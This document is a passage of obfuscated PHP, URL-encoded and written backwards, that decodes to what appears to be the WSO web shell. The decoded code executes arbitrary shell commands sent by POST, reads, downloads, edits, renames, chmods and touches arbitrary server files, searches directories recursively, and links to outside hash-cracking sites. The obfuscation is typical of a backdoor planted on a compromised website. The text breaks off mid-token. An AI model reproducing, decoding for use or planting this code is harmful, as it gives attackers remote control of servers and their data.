A%3B%2B%2Bruc%09%09%0D%0A%7B+%2904+%3D%3D+n%28fi+esle+%7D%09%0D%0A%3B%2B%2Bruc%09%09%09%0D%0Aesle%09%09%0D%0A%3B%5Druc%5Bsdmc+%3D+eulav.dmc.fc.tnemucod%09%09%09%0D%0A%290%3D%3Eruc%28fi%09%09%0D%0A%3B--ruc%09%09%0D%0A%7B+%2983+%3D%3D+n%28fi%09%0D%0A%3BedoCyek.e+%3A+hcihw.e+%3F+%29tnevE.wodniw%28+%3D+n+rav%09%0D%0A%7B+%29e%28pk+noitcnuf%0D%0A%3B0+%3D+ruc+rav%0D%0A%3B%29%27%27%28yarrA+wen+%3D+sdmc+rav%0D%0A%3B%29NWODYEK.tnevE%28stnevEerutpac.wodniw+%29tnevE.wodniw%28fi%0D%0A%3Etpircs%3C%22+ohce++++%0D%0A%3B%29%28redaeHosw%09%0D%0A%3B%290+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW%09%09%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%26%26%29%5D%27xaja%27%5BTSOP_%24%28ytpme%28fi++++%0D%0A%7D%09%0D%0A%3Btixe%09%09%0D%0A%3Bpmet%24+%2C%22n%5C%22+%2C%29pmet%24%28nelrts+ohce%09%09%0D%0A%3B%29%28naelc_teg_bo+%3D+pmet%24%09%09%0D%0A%3B%22%3BthgieHllorcs.tuptuo.fc.d+%3D+poTllorcs.tuptuo.fc.d%22+ohce%09%09%0D%0A%3B%22%3B%27%22.pmet%24.%22%27%3D%2Beulav.tuptuo.fc.d%22+ohce%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%22%3B%27%22.%5D%27dwc%27%5BSLABOLG%24.%22%27%3D_c%22+ohce%09%09%09%09%0D%0A%3B%29%28dwcteg%40+%3D+%5D%27dwc%27%5BSLABOLG%24%09%09%09%09%0D%0A%7B+%29%29%5D1%5Bhctam%24%28ridhc%40%28fi%09%09%09%0D%0A%7B%09%29%29hctam%24%2C%5D%271p%27%5BTSOP_%24%2C%22%21%24%29%2B%5D%3B%5E%5B%28%2Bs%5Cdc%2A.%21%22%28hctam_gerp%28fi%09%09%0D%0A%3B%29%29%220%5C%27%5C%5Ct%5Cr%5Cn%5C%22%2C%29%5D%271p%27%5BTSOP_%24%28xEosw.%22n%5C%22.%5D%271p%27%5BTSOP_%24.%22+%24n%5C%22%28sehsalscdda+%2C%278-FTU%27+%2C%5D%27tesrahc%27%5BTSOP_%24%28vnoci%40+%3D+pmet%24%09%09%0D%0A%3B%22n%5C%3B%27%27%3Deulav.dmc.fc.d%22+ohce%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%29eurt+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW%09%09%0D%0A%7B+%29%29%5D%27xaja%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%0D%0A%3B%290+%2C%27tuo_ot_rredts%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fiesle+%7D++++%0D%0A%3B%271%26%3E2+%27+%3D.+%5D%271p%27%5BTSOP_%24++++++++%0D%0A%3B%29eurt+%2C%27tuo_ot_rredts%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%7B+%29%29%5D%272p%27%5BTSOP_%24%28ytpme%21+%26%26+%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi++++%0D%0A%7B+%29%28elosnoCnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3E%22%27.%29%29%5D%271p%27%5BTSOP_%24%28emitmelif%40+%2C%22s%3Ai%3AH+d-m-Y%22%28etad.%27%22%3Deulav+hcuot%3Deman+txet%3Depyt+tupni%3C%3E%22%3Beslaf+nruter%3B%29eulav.hcuot.siht%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%3Etpircs%2F%3C%3B%22%22%3D_3p%3Etpircs%3C%27+ohce%09%09%09%0D%0A%3B%29%28ehcactatsraelc%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%21tamrof+emit+daB%27+ohce+esle+%7D%09%09%09%09%0D%0A%3B%27%21dehcuoT%27+ohce%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%0D%0A%3B%27%21liaF%27+ohce%09%09%09%09%09%09%0D%0A%29%29emit%24%2Cemit%24%2C%5D%271p%27%5BTSOP_%24%28hcuot%21%28fi%09%09%09%09%09%0D%0A%7B+%29emit%24%28fi%09%09%09%09%0D%0A%3B%29%5D%273p%27%5BTSOP_%24%28emitotrts+%3D+emit%24%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%3A%27hcuot%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3E%22%27.%29%5D%271p%27%5BTSOP_%24%28srahclaicepslmth.%27%22%3Deulav+eman%3Deman+txet%3Depyt+tupni%3C%3E%22%3Beslaf+nruter%3B%29eulav.eman.siht%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29%27%3Etpircs%2F%3C%29%22%22%2Cllun%2C%22%27.%29%5D%273p%27%5BTSOP_%24%28edocnelru.%27%22%2Cllun%2Cllun%28g%3Etpircs%3C%27%28eid%09%09%09%09%09%0D%0Aesle%09%09%09%09%0D%0A%3B%27%3Erb%3C%21emaner+t%27%5CnaC%27+ohce%09%09%09%09%09%0D%0A%29%29%5D%273p%27%5BTSOP_%24+%2C%5D%271p%27%5BTSOP_%24%28emaner%40%21%28fi%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%3A%27emaner%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3Eerp%2F%3C%27.%29%5D2%5Bh%24%28srahclaicepslmth.%27%3Eerp%3C%3E333333%23%3Drolocgb+dt%3C%3Edt%2F%3C%3Eerp%2F%3C%27.%5D1%5Bh%24.%27%3Eerp%3C%3E828282%23%3Drolocgb+dt%3C%3Edt%2F%3C%3Enaps%2F%3C%3Eerp%2F%3C%27.%5D0%5Bh%24.%27%3Eerp%3C%3E%22%3Blamron+%3Athgiew-tnof%22%3Delyts+naps%3C%3E333333%23%3Drolocgb+dt%3C%3Ert%3C%3E222222%23%3Drolocgb+5%3Dgniddapllec+1%3Dgnicapsllec+elbat%3C%27+ohce%09%09%09%0D%0A%7D%09+%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22n%5C%22+%3D.+%5D2%5Bh%24%09%09%09%09%09%0D%0A%3B%27%3Erb%3C%27+%3D.+%5D1%5Bh%24%09%09%09%09%09%0D%0A%7D%3B%27%3Erb%3C%27.%291%2Bi%24%2C%27X80%25%27%28ftnirps+%3D.+%5D0%5Bh%24%7B+%29nel%24+%3C+1%2Bi%24%28+fi%09%09%09%09%09%0D%0A%3B0+%3D+n%24%09%09%09%09%09%0D%0A%7B+%2923+%3D%3D+n%24%28+fi%09%09%09%09%0D%0A%3B%2B%2Bn%24%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3Bkaerb+%3B%5Di%24%5Bc%24+%3D.+%5D2%5Bh%24+%3Atluafed%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24+%3A31+esac%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24+%3A01+esac%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24++%3A9+esac%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24++%3A0+esac%09%09%09%09%09%0D%0A%7B+%29+%29%5Di%24%5Bc%24%28dro+%28+hctiws%09%09%09%09%0D%0A%3B%27+%27.%29%29%5Di%24%5Bc%24%28dro%2C%27X20%25%27%28ftnirps+%3D.+%5D1%5Bh%24%09%09%09%09%0D%0A%7B+%29i%24%2B%2B+%3Bnel%24%3Ci%24+%3B0%3Di%24%28+rof%09%09%09%0D%0A%3B%29c%24%28nelrts+%3D+nel%24%09%09%09%0D%0A%3B%29%27%27%2C%27%27%2C%27%3Erb%3C00000000%27%28yarra+%3D+h%24%09%09%09%0D%0A%3B0+%3D+n%24%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28stnetnoc_teg_elif%40+%3D+c%24%09%09%09%0D%0A%3A%27pmudxeh%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3Eaeratxet%2F%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%40%09%09%09%09%0D%0A%3B%29%294201+%2Cpf%24%28daerf%40%28srahclaicepslmth+ohce%09%09%09%09%09%0D%0A%29+%29pf%24%28foef%40%21+%28elihw%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%27r%27+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%0D%0A%3B%27%3Eaeragib%3Dssalc+txet%3Deman+aeratxet%3C%3E%22%3Beslaf+nruter%3B%29eulav.txet.siht%2B%27%5C1%27%5C%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29emit%24%2Cemit%24%2C%5D%271p%27%5BTSOP_%24%28hcuot%40%09%09%09%09%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%22%22%3D_3p%3Etpircs%3C%3Erb%3C%21devaS%27+ohce%09%09%09%09%09%0D%0A%3B%29pf%24%28esolcf%40%09%09%09%09%09%0D%0A%3B%29%5D%273p%27%5BTSOP_%24%2Cpf%24%28etirwf%40%09%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%09%0D%0A%3B%29%22w%22%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%09%0D%0A%3B%291%2C%5D%273p%27%5BTSOP_%24%28rtsbus+%3D+%5D%273p%27%5BTSOP_%24%09%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28emitmelif%40+%3D+emit%24%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%27elbaetirw+t%27%5Cnsi+eliF%27+ohce%09%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28elbatirw_si%21+%28fi%09%09%09%0D%0A%3A%27tide%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3E%22%27.%294-%2C%29%29%5D%271p%27%5BTSOP_%24%28smrepelif+%2C%27o%25%27%28ftnirps%28rtsbus.%27%22%3Deulav+domhc%3Deman+txet%3Depyt+tupni%3C%3E%22%3Beslaf+nruter%3B%29eulav.domhc.siht%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%3Etpircs%2F%3C%3B%22%22%3D_3p%3Etpircs%3C%27+ohce%09%09%09%0D%0A%3B%29%28ehcactatsraelc%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%22%22%3Deulav.3p.fm.tnemucod%3Etpircs%3C%3Erb%3C%21snoissimrep+tes+t%27%5CnaC%27+ohce%09%09%09%09%09%0D%0A%29%29smrep%24+%2C%5D%271p%27%5BTSOP_%24%28domhc%40%21%28fi%09%09%09%09%0D%0A%3B%29%291-i%24-%29%5D%273p%27%5BTSOP_%24%28nelrts%28+%2C8%28wop%2A%5Di%24%5B%5D%273p%27%5BTSOP_%24%29tni%28+%3D%2B+smrep%24%09%09%09%09%09%0D%0A%29i%24--%3B0%3D%3Ei%24%3B1-%29%5D%273p%27%5BTSOP_%24%28nelrts%3Di%24%28rof%09%09%09%09%0D%0A%3B0+%3D+smrep%24%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%3A%27domhc%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Evid%2F%3C%27.%29edoc%24%2C%29%27%3Etnof%2F%3C%27%2C%27+tnof%3C%27%28yarra+%2C%29%27%3Enaps%2F%3C%27%2C%27+naps%3C%27%28yarra%28ecalper_rts+ohce%09%09%09%09%0D%0A%3B%29eurt%2C%5D%271p%27%5BTSOP_%24%28elif_thgilhgih%40+%3D+edoc%24%09%09%09%09%0D%0A%3B%27%3E%22%3Bkcalb%3Aroloc%3B1e1e1e%23+%3Aroloc-dnuorgkcab%22%3Delyts+1lm%3Dssalc+vid%3C%27+ohce%09%09%09%09%0D%0A%7B+%29+%29%5D%271p%27%5BTSOP_%24%28elbadaer_si%40+%28fi%09%09%09%0D%0A%3A%27thgilhgih%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Eerp%2F%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%40%09%09%09%09%0D%0A%3B%29%294201+%2Cpf%24%28daerf%40%28srahclaicepslmth+ohce%09%09%09%09%09%0D%0A%29+%29pf%24%28foef%40%21+%28elihw%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%27r%27+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%0D%0A%3B%27%3E1lm%3Dssalc+erp%3C%27+ohce%09%09%09%0D%0A%3A%27weiv%27+esac%09%09%0D%0A%7B+%29%5D%272p%27%5BTSOP_%24%28hctiws%09%0D%0A%3B%27%3Erb%3C%3Erb%3C%27+ohce%09%0D%0A%3B%27+%3Ea%2F%3C%27.%29v%24%3A%27%3Eb%2F%3C%5D+%27.v%24.%27+%5B%3Eb%3C%27%3F%29%5D%272p%27%5BTSOP_%24%40%3D%3D%29v%24%28rewolotrts%28%28.%27%3E%22%29%27%5C%27.%29v%24%28rewolotrts.%27%27%5C%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dkcilcno+%23%3Dferh+a%3C%27+ohce%09%09%0D%0A%29v%24+sa+m%24%28hcaerof%09%0D%0A%3B%29%27hcuoT%27+%2C%27emaneR%27+%2C%27domhC%27%28yarra+%3D+m%24%09%09%0D%0Aesle%09%0D%0A%3B%29%27hcuoT%27+%2C%27emaneR%27+%2C%27domhC%27+%2C%27tidE%27+%2C%27pmudxeH%27+%2C%27daolnwoD%27+%2C%27thgilhgiH%27+%2C%27weiV%27%28yarra+%3D+m%24%09%09%0D%0A%29+%29%5D%271p%27%5BTSOP_%24%28elif_si+%28fi%09%0D%0A%3B%27weiv%27+%3D+%5D%272p%27%5BTSOP_%24%09%09%0D%0A%29+%29%5D%272p%27%5BTSOP_%24%28ytpme+%28fi%09%0D%0A%3B%27%3Erb%3C%3Erb%3C%27.%29%29%5D%271p%27%5BTSOP_%24%28emitmelif%2C%27s%3Ai%3AH+d-m-Y%27%28etad.%27+%3Enaps%2F%3C%3Aemit+yfidoM%3Enaps%3C+%27.%29%29%5D%271p%27%5BTSOP_%24%28emitaelif%2C%27s%3Ai%3AH+d-m-Y%27%28etad.%27+%3Enaps%2F%3C%3Aemit+sseccA%3Enaps%3C+%27.%29%29%5D%271p%27%5BTSOP_%24%28emitcelif%2C%27s%3Ai%3AH+d-m-Y%27%28etad.%27+%3Enaps%2F%3C%3Aemit+egnahC%3Enaps%3C%27+ohce%09%0D%0A%3B%27%3Erb%3C%27.%5D%27eman%27%5Bdig%24.%27%2F%27.%5D%27eman%27%5Bdiu%24.%27+%3Enaps%2F%3C%3ApuorG%2FrenwO%3Enaps%3C+%27.%29%5D%271p%27%5BTSOP_%24%28roloCsmrePosw.%27+%3Enaps%2F%3C%3AnoissimreP%3Enaps%3C+%27.%29%27-%27%3A%29%29%5D%271p%27%5BTSOP_%24%28eziselif%28eziSweiVosw%3F%29%5D%271p%27%5BTSOP_%24%28elif_si%28.%27+%3Enaps%2F%3C%3AeziS%3Enaps%3C+%27.%29%29%5D%271p%27%5BTSOP_%24%28emanesab%40%28srahclaicepslmth.%27+%3Enaps%2F%3C%3AemaN%3Enaps%3C%27+ohce%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28puorgelif%40%28digrgteg_xisop%40+%3D+dig%24+esle+%7D%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28puorgelif%40+%3D+%5D%27eman%27%5Bdig%24%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28renwoelif%40+%3D+%5D%27eman%27%5Bdiu%24%09%09%0D%0A%7B+%29diu%24%21%28fi%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28renwoelif%40%28diuwpteg_xisop%40+%3D+diu%24%09%0D%0A%7D%09%0D%0A%3Bnruter%09%09%0D%0A%3B%29%28retooFosw%09%09%0D%0A%3B%27stsixe+ton+eliF%27+ohce%09%09%0D%0A%7B+%29+%29%5D%271p%27%5BTSOP_%24%40%28stsixe_elif%21+%28fi%09%0D%0A%3B%27%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Csloot+eliF%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%09%09%09%09%0D%0A%3B%22tide%22+%3D+%5D%272p%27%5BTSOP_%24%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%27w%27+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28stsixe_elif%21%28fi%09%09%0D%0A%7B+%29+%27elifkm%27+%3D%3D+%5D%272p%27%5BTSOP_%24%40+%28fi%09%0D%0A%7D%09%0D%0A%3Btixe%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%09%09%09%09%0D%0A%3B%294201+%2Cpf%24%28daerf%40+ohce%09%09%09%09%09%0D%0A%29%29pf%24%28foef%40%21%28elihw%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%22r%22+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%0D%0A%3B%29%22maerts-tetco%2Fnoitacilppa+%3AepyT-tnetnoC%22%28redaeh++++++++++++++++%0D%0Aesle+%7D%09%09%09%0D%0A%3B%29epyt%24+.+%22+%3AepyT-tnetnoC%22%28redaeh%09%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28epyt_tnetnoc_emim%40+%3D+epyt%24%09%09%09%09%0D%0A%7B+%29%29%22epyt_tnetnoc_emim%22%28stsixe_noitcnuf%28+fi%09%09%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28emanesab.%22%3Demanelif+%3Btnemhcatta+%3AnoitisopsiD-tnetnoC%22%28redaeh%09%09%09%0D%0A%3B%296904+%2C%22reldnahzg_bo%22%28trats_bo%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28elbadaer_si%40+%26%26+%29%5D%271p%27%5BTSOP_%24%28elif_si%40%28fi%09%09%0D%0A%7B+%29%27daolnwod%27%3D%3D%5D%272p%27%5BTSOP_%24%40%28fi%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28edocedlru+%3D+%5D%271p%27%5BTSOP_%24%09%09%0D%0A%29+%29%5D%271p%27%5BTSOP_%24%28tessi+%28fi%09%0D%0A%7B+%29%28slooTseliFnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%22%3Evid%2F%3C%3Emrof%2F%3C%09%09%0D%0A%3Erb%3C%3E%22%5C%29%28timbus.fh.tnemucod%3B%27php.xedni%2Fem.rofkcarc%2F%2F%3Aptth%27%3Dnoitca.fh.tnemucod%22%5C%3Dkcilcno+%27em.rofkcarc%27%3Deulav+%27nottub%27%3Depyt+tupni%3C++++++++++++%0D%0A%3Erb%3C%3E%22%5C%29%28timbus.fh.tnemucod%3B%275dm%3Ds%26%27%2Beulav.hsah.fh.tnemucod%2B%27%3Dq%3F%2Fmoc.ezionder.5dm%2F%2F%3Aptth%27%3Dnoitca.fh.tnemucod%22%5C%3Dkcilcno+%27moc.ezionder.5dm%27%3Deulav+%27nottub%27%3Depyt+tupni%3C%09%09%09%0D%0A%3Erb%3C%3E%22%5C%29%28timbus.fh.tnemucod%3B%27php.xedni%2Fur.gnikcarchsah%2F%2F%3Asptth%27%3Dnoitca.fh.tnemucod%22%5C%3Dkcilcno+%27ur.gnikcarchsah%27%3Deulav+%27nottub%27%3Depyt+tupni%3C%09%09%09%0D%0A%3E%2F%27dnif%27%3Deulav+%27tca%27%3Deman+%27neddih%27%3Depyt+tupni%3C++++++++++++%0D%0A%3Erb%3C%3E%27%3Bxp002%3Ahtdiw%27%3Delyts+%27hsah%27%3Deman+%27txet%27%3Depyt+tupni%3C%09%09%09%0D%0A%3E%27fh%27%3Deman+%27knalb_%27%3Dtegrat+%27tsop%27%3Ddohtem+mrof%3C%09%09%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3C%3Ahsah+rof+hcraeS%3E1h%3C%3Erb%3C%3Evid%2F%3C%22+ohce%09%0D%0A%3B%29%5D%27c%27%5BTSOP_%24%28bolGevisruceRosw%09%09%0D%0A%29%5D%273p%27%5BTSOP_%24%40%28fi%09%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Ea%2F%3C%22.%29meti%24%28srahclaicepslmth.%22%3E%27%29%22%5C%22%5C%2C%22%5Cweiv%22%5C+%2C%22%5C%22.%29meti%24%28edocnelru.%22%22%5C%2Cllun%2C%22%5CslooTseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%22+ohce%09%09%09%09%09%09%0D%0A%29eslaf%3D%3D%21%29%5D%272p%27%5BTSOP_%24+%2C%29meti%24%28stnetnoc_teg_elif%28soprts%40+%7C%7C+%29%5D%272p%27%5BTSOP_%24%28ytpme%28fi%09%09%09%09%09%0D%0A%7B+esle+%7D%09%09%09%09%0D%0A%3B%29meti%24%28bolGevisruceRosw%09%09%09%09%09%09%0D%0A%29meti%24%3D%21htap%24%28fi%09%09%09%09%09%0D%0A%7B%29%29meti%24%28rid_si%40%28fi%09%09%09%09%0D%0A%7B+%29meti%24+sa+shtap%24%28hcaerof%09%09%09%0D%0A%7B+%29%29shtap%24%28tnuoc%40%26%26%29shtap%24%28yarra_si%28fi%09%09%0D%0A%3B%29%29%29RIDYLNO_BOLG+%2C%27%2A%27.htap%24%28bolg%40+%2C%29%5D%273p%27%5BTSOP_%24.htap%24%28bolg%40%28egrem_yarra%40%28euqinu_yarra%40+%3D+shtap%24%09%09%0D%0A%3B%27%2F%27%3D.htap%24%09%09%09%0D%0A%29%27%2F%27+%3D%21+%291-+%2Chtap%24%28rtsbus%28fi%09%09%0D%0A%7B+%29htap%24%28bolGevisruceRosw+noitcnuf%09%0D%0A%0D%0A%3B%22%3Emrof%2F%3C%3Eelbat%2F%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%3E%3E%27%3Deulav+%27timbus%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%25001%3Ahtdiw%27%3Delyts+%27%2A%27%3Deulav+%27emanelif%27%3Deman+%27txet%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3AemaN%3Edt%3C%3Ert%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%25001%3Ahtdiw%27%3Delyts+%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.%22%27%3Deulav+%27dwc%27%3Deman+%27txet%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3AhtaP%3Edt%3C%3Ert%3C%09%09%09%0D%0A%3Ert%2F%3C%3Edt%2F%3C%3E%27%25001%3Ahtdiw%27%3Delyts+%27txet%27%3Deman+%27txet%27%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3AtxeT%3E%27%251%27%3Dhtdiw+dt%3C%3Ert%3C%09%09%09%0D%0A%3E%27%2505%27%3Dhtdiw+%270%27%3Dgnicapsllec+%271%27%3Dgniddapllec+elbat%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.emanelif.siht%2Ceulav.txet.siht%2Cllun%2Ceulav.dwc.siht%2Cllun%28g%22%5C%3Dtimbusno+mrof%3C%09%09%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3C%3Aselif+hcraeS%3E1h%3C%3Erb%3C%3Evid%2F%3C%3Eerp%2F%3C%22ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%5D%272p%27%5BTSOP_%24%28%5D%271p%27%5BTSOP_%24%28srahclaicepslmth+ohce%29%29slooTgnirts%24+%2C%5D%271p%27%5BTSOP_%24%28yarra_ni%28fi%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%22%3E%27tuptuOrts%27%3Ddi+%27xp5%3Apot-nigram%22.%29%27%27%3A%27%3Benon%3Ayalpsid%27%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%28.%22%27%3Delyts+%271lm%27%3Dssalc+erp%3C%3Emrof%2F%3C%3Eaeratxet%2F%3C%22.%29%29%5D%272p%27%5BTSOP_%24%40%28srahclaicepslmth%3A%27%27%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%28.%22%3Eaeragib%3Dssalc+%27xp5%3Apot-nigram%27%3Delyts+%27tupni%27%3Deman+aeratxet%3C%3Erb%3CXAJA+gnisu+dnes+%3E+1%3Deulav+xaja%3Deman+xobkcehc%3Depyt+tupni%3C+%3E%2F%27%3E%3E%27%3Deulav+%27timbus%27%3Depyt+tupni%3C%3Etceles%2F%3C%22+ohce%09%09%0D%0A%3B%22%3Enoitpo%2F%3C%22.k%24.%22%3E%27%22.%29v%24%28srahclaicepslmth.%22%27%3Deulav+noitpo%3C%22+ohce%09%09%0D%0A%29v%24+%3E%3D+k%24+sa+slooTgnirts%24%28hcaerof%09%0D%0A%3B%22%3E%27looTtceles%27%3Deman+tceles%3C%3E%27%3Beslaf+nruter+%7D%3B%29eulav.tupni.siht%2Ceulav.looTtceles.siht%2Cllun%2Cllun%28g%7Besle%7D%3B%29eulav.tupni.siht%2Ceulav.looTtceles.siht%2Cllun%2Cllun%28a%7B%29dekcehc.xaja.siht%28fi%27%3DtimbuSno+%27mroFsloot%27%3Deman+mrof%3C%22+ohce%09%0D%0A%3B%27%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Csnoisrevnoc+gnirtS%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%3B%290+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW%09%09%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%26%26%29%5D%27xaja%27%5BTSOP_%24%28ytpme%28fi++++%0D%0A%7D%09%0D%0A%3Btixe%09%09%0D%0A%3Bpmet%24+%2C%22n%5C%22+%2C%29pmet%24%28nelrts+ohce%09%09%0D%0A%3B%22n%5C%3B%27%22.%29%220%5C%27%5C%5Ct%5Cr%5Cn%5C%22%2C%29%29%28naelc_teg_bo%28srahclaicepslmth%28sehsalscdda.%22%27%3DLMTHrenni.%29%27tuptuOrts%27%28dIyBtnemelEteg.tnemucod%3B%27%27%3Dyalpsid.elyts.%29%27tuptuOrts%27%28dIyBtnemelEteg.tnemucod%22+%3D+pmet%24%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28%5D%271p%27%5BTSOP_%24+ohce%09%09%09%0D%0A%29%29slooTgnirts%24+%2C%5D%271p%27%5BTSOP_%24%28yarra_ni%28fi%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%29eurt+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREV